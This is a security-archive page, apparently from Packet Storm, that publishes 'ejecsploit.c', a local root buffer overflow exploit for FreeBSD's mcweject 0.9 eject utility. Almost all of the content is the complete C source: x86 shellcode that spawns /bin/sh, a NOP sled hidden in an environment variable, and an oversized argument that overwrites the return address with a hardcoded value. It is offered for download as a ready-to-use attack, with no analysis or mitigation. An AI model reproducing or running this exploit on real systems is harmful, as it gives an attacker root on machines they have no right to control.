exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ejecsploit.c

ejecsploit.c
Posted Mar 27, 2007
Authored by harry

FreeBSD mcweject version 0.9 (eject) local root buffer overflow exploit.

tags | exploit, overflow, local, root
systems | freebsd
SHA-256 | 864f054e5847364a2e466d2f412f25d3c6a6ba011869936c802017e439d6aac9

ejecsploit.c

Change Mirror Download
// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

char buf[LEN];
char* ptr;
char* arg[4];
unsigned int ret, i;
char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
"\x80\xe8\xe4\xff\xff\xff/bin/sh";
// hardcoded... too boneidle to fix this
ret = 0xbfbfee16;
char envshell[4096];
ptr = envshell;
for (i = 0; i < 4096 - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
*(ptr) = 0x0;
memcpy (envshell, "BLEH=",5);
putenv(envshell);

memset (buf, 0x41, sizeof(buf));
buf[LEN-5] = (char) ( 0x000000ff & ret);
buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
buf[LEN-1] = 0x0;

arg[0] = "./eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;

execve (arg[0], arg, environ);

return 0;
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    39 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close